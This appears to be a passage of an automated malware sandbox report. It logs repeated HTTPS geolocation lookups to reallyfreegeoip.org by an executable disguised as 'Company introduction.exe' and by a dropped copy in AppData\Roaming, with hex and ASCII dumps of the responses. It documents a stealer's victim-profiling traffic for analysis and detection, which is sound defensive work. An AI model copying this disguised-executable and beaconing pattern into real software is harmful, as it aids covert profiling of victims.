2025-01-15 07:39:04 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49735	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:05 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:05 UTC	863	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:05 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241534 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C9Zq5WAUcOI%2ByY8icedV7kq5PZxQ%2Fned%2BRnYzM%2FWAvYjKzT90TlZrHJpJMVxGiH7lQuviZYg0hOZXWkgYH%2F6rJM9WmhIEmXWFVI3o2LK92FMULrKQu%2FUqB0o3smbIcdvr%2BxrRLaB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435c0b8a08cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1980&min_rtt=1970&rtt_var=746&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1482233&cwnd=244&unsent_bytes=0&cid=4050d038fbe5a07a&ts=151&x=0"
2025-01-15 07:39:05 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49740	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:06 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:07 UTC	863	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:06 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241536 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Y21QOajg0FcpP99it8HEyVg%2FAZStQqiOQPX0kjy2mHjut%2FSiCvN3nMSFSLYos6LKoNmo2XhKrbnJJClf%2BmdrSZG8rRkVkldGgBH1eEBb1eXGKdJrO0%2FeYfpxMKPa%2FCMY%2BK4OfpN%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435c87d7e8c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1789&min_rtt=1781&rtt_var=685&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1578378&cwnd=238&unsent_bytes=0&cid=1ed16997623605a5&ts=160&x=0"
2025-01-15 07:39:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49741	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:07 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:07 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241536 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a8ywdwWj8HbLX9kjYU7LishMVgoGcvnuwIp1VI2%2F1YKM7Oab%2FmdDTS9QDFLh9aZ2X9H2j31tf8s1pWVKlaxmUpXsXh02qnvHNzkcJ1sn4BLuPbIlDW%2Fz2JFOGLWP78j5SRjtQ%2B5C"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435c9ce748c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1764&min_rtt=1745&rtt_var=693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1536842&cwnd=238&unsent_bytes=0&cid=56fa3e95404daa51&ts=215&x=0"
2025-01-15 07:39:07 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49743	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:07 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:08 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:07 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241537 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0AEiYOJU7YGkTL6mbqoSVGoTKNiMxfQfJmQbJfNkzmnfzdgO9fiEeHbzLxfuhCkqwVPmXirMKg397%2B%2BkuRHYmFGaOHGqQcwgpfOn3WWQ5JEEYAXiCUg%2BMpH0AllN3GfcbYeYy2fe"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435cebff142e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1716&min_rtt=1708&rtt_var=656&sent=3&recv=5&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1647855&cwnd=241&unsent_bytes=0&cid=50af56b471b53a40&ts=121&x=0"
2025-01-15 07:39:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49744	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:08 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:08 UTC	867	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:08 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241537 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2FQUfrV6aboADzhzJiAY%2Bvhxba4DYyRJ7EAjllEhtKQBIGnDu0%2BvCm1TQCcsStp5Af%2FhNx%2BpYBp2VXlNLcjtvxkI%2F%2FgaO%2FSZ6zf7QMNyg0Mdh38Qal1WN%2BhYf3UGZC59ALoOPORY8"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435d0696cc461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1506&rtt_var=606&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1938911&cwnd=232&unsent_bytes=0&cid=8eca5204ff795cf2&ts=159&x=0"
2025-01-15 07:39:08 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49747	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:09 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:09 UTC	857	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241538 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7I0v8wwpZbIoKTATJuvnc8TE%2FQ25lXJsrIflUOMbbTy8331aN4cey2mhKUB46XxmdnFXeJcXUXaPtL0yFJ4N4tl0YyBaTPdM58tD%2FXJjDGjtHJPrgUzGuvwSqGAvro2%2FuND3Dev%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435d68bd58cda-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1973&min_rtt=1951&rtt_var=776&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1372180&cwnd=244&unsent_bytes=0&cid=baf7fa6091c58ddf&ts=150&x=0"
2025-01-15 07:39:09 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49748	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:09 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:09 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:09 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241538 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sofZmrp5YmslKwEbJVitpzP3imAjeHMkbXinWjfkQyvQMb6t8zVtlsUszBYt3aVl%2BBx8QaqbYZANMmQB71%2Fk%2BrBx8BOCb54505bWokPt5iyGT8CQ0ZXXYI7DvKRAQMum0hxtnvXk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435d82d6ec461-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1459&min_rtt=1446&rtt_var=569&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1880231&cwnd=232&unsent_bytes=0&cid=e28b46c42903fa6d&ts=137&x=0"
2025-01-15 07:39:09 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49751	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:10 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:10 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241539 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AkOxWWJm7KSizQSjVqJXLbiPD7Kj%2FBVLGwX6To3OIVvS5vC5gWbcyfHwNdK2aREFmV5om2ANg%2FuYx7hj2Pa7P2bnax4GlwdO5nsGuHXC9fbm3V5Y5yRRbaXFsg6VctmK3%2F070dtJ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435de5f6442e9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1600&min_rtt=1593&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1769696&cwnd=241&unsent_bytes=0&cid=279ee828e6cf956f&ts=141&x=0"
2025-01-15 07:39:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49752	104.21.48.1	443	7812	C:\Users\user\Desktop\Company introduction.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:10 UTC	61	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org
2025-01-15 07:39:10 UTC	853	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:10 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241539 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hwACZQW2%2BA8WFlRVAXTKAiv63vnOe8dh0gMyrEkh3RCyNFQdtOb1LRgGhyUpIR9RRME9ZShimXodBUpqNPdjsHe63RSNvkOmjqFa4zsKz3lwLma9m9KUeEmBqHGZtW60%2F26UDSTn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435dffa3c43be-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1580&min_rtt=1575&rtt_var=601&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=699&delivery_rate=1804697&cwnd=229&unsent_bytes=0&cid=cebdb9134d40f1a4&ts=144&x=0"
2025-01-15 07:39:10 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49755	104.21.48.1	443	8144	C:\Users\user\AppData\Roaming\FzXKnGk.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 07:39:11 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-15 07:39:11 UTC	855	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 07:39:11 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 2241540 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uBNxvjQFERGbkYTqiv4le2KTqXPodPc6K3kNb6Dtwrl%2B1oGgFl8Ge72L9n3lHGCafVD4jAfl%2FGXarm%2BemBIHOa1LSq8ZPN2MZPODN1Fb2MK36qOIMgk61ARS4OJ15n11KqCVsxsM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 902435e64f048c15-EWR alt-svc: h3=":443"; ma=86400 server-timing: 